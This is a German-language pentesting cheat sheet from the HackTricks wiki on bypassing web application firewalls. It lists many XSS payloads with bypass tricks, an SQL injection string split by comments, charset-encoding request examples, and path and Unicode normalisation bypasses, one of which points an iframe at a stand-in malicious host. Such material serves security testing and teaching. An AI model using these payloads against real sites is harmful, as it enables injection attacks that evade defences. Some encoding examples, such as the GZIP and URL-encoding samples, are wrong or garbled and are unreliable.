hacktricks/network-services-pentesting/pentesting-web/waf-bypass.md
2024-04-06 18:30:57 +00:00

9.9 KiB
Raw Blame History

WAF Bypass

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Regex-Bypasses

Es können verschiedene Techniken verwendet werden, um die Regex-Filter der Firewalls zu umgehen. Beispiele hierfür sind das Wechseln der Groß- und Kleinschreibung, das Hinzufügen von Zeilenumbrüchen und das Codieren von Payloads. Ressourcen für die verschiedenen Umgehungen finden Sie unter PayloadsAllTheThings und OWASP. Die folgenden Beispiele wurden aus diesem Artikel entnommen.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Zeichencodierung

Eine gängige Methode, um Web Application Firewalls (WAFs) zu umgehen, besteht darin, die Zeichencodierung zu ändern. Dies kann dazu führen, dass die WAF die Angriffsvektoren nicht erkennt und somit den Angriff nicht blockiert.

URL-Encoding

URL-Encoding ist eine Technik, bei der Sonderzeichen in einer URL durch eine spezielle Codierung ersetzt werden. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.

Beispiel:

Ursprüngliche URL: http://example.com/page?param=value

URL-Encoding: http://example.com/page?param%3Dvalue

Hex-Encoding

Hex-Encoding ist eine Methode, bei der Zeichen in Hexadezimalwerte umgewandelt werden. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.

Beispiel:

Ursprünglicher Text: admin

Hex-Encoding: 61646d696e

Unicode-Encoding

Unicode-Encoding ist eine Technik, bei der Zeichen in Unicode-Zeichen umgewandelt werden. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.

Beispiel:

Ursprünglicher Text: admin

Unicode-Encoding: \u0061\u0064\u006d\u0069\u006e

HTML-Encoding

HTML-Encoding ist eine Methode, bei der Zeichen in HTML-Entitäten umgewandelt werden. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.

Beispiel:

Ursprünglicher Text: <script>alert('XSS')</script>

HTML-Encoding: &lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;

Base64-Encoding

Base64-Encoding ist eine Technik, bei der Daten in eine Zeichenkette umgewandelt werden, die nur aus alphanumerischen Zeichen besteht. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.

Beispiel:

Ursprünglicher Text: admin

Base64-Encoding: YWRtaW4=

GZIP-Encoding

GZIP-Encoding ist eine Methode, bei der Daten komprimiert werden, um die Übertragungseffizienz zu verbessern. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer komprimierten Form vorliegt.

Beispiel:

Ursprünglicher Text: admin

GZIP-Encoding: H4sIAAAAAAAE/w==

Chunked-Encoding

Chunked-Encoding ist eine Technik, bei der Daten in kleinere Teile aufgeteilt werden, um die Übertragung zu erleichtern. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in mehreren Teilen übertragen wird.

Beispiel:

Ursprünglicher Text: admin

Chunked-Encoding: 4\r\nadmin\r\n0\r\n\r

# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037

##Python code
import urllib
s = 'payload'
print(urllib.parse.quote_plus(s.encode("IBM037")))

## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61

%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n

Obfuscation

Obfuscation ist eine Technik, bei der der Code so modifiziert wird, dass er schwer zu verstehen oder zu analysieren ist. Dies kann verwendet werden, um WAFs (Web Application Firewalls) zu umgehen, da sie den modifizierten Code möglicherweise nicht erkennen können.

Es gibt verschiedene Arten von Obfuscationstechniken, die verwendet werden können, um den Code zu verschleiern. Einige Beispiele sind:

  • String-Obfuscation: Hierbei werden Zeichenketten im Code verschlüsselt oder in andere Formate umgewandelt, um sie vor der Erkennung durch WAFs zu schützen.
  • Code-Obfuscation: Diese Technik beinhaltet die Modifikation des Codes, um ihn schwer lesbar zu machen. Dies kann durch das Hinzufügen von unnötigen Anweisungen, das Umbenennen von Variablen oder das Verwenden von verschleierten Funktionen erreicht werden.
  • Payload-Obfuscation: Bei dieser Technik wird die schädliche Payload so modifiziert, dass sie von WAFs nicht erkannt wird. Dies kann durch das Ändern der Reihenfolge der Zeichen, das Hinzufügen von Junk-Code oder das Verwenden von verschleierten Funktionen erreicht werden.

Es ist wichtig zu beachten, dass Obfuscation allein nicht ausreicht, um eine WAF zu umgehen. Es sollte als Teil einer umfassenderen Angriffsstrategie verwendet werden, die auch andere Techniken wie IP-Spoofing, HTTP-Header-Manipulation und Angriffe auf Schwachstellen umfasst.

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode-Kompatibilität

Je nach Implementierung der Unicode-Normalisierung (weitere Informationen hier) können Zeichen, die Unicode-Kompatibilität aufweisen, den WAF umgehen und als beabsichtigte Nutzlast ausgeführt werden. Kompatible Zeichen finden Sie hier

Beispiel

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
img src⁼p onerror⁼prompt⁽1⁾﹥  --> img src=p onerror='prompt(1)'>

Überschreiten von Größenbeschränkungen

Es ist üblich bei cloudbasierten WAFs, dass wenn die Nutzlast größer als X ist, die Anfrage nicht vom WAF überprüft wird. Du kannst das einfach nutzen, um sie zu umgehen.

IP-Rotation

Lerne AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: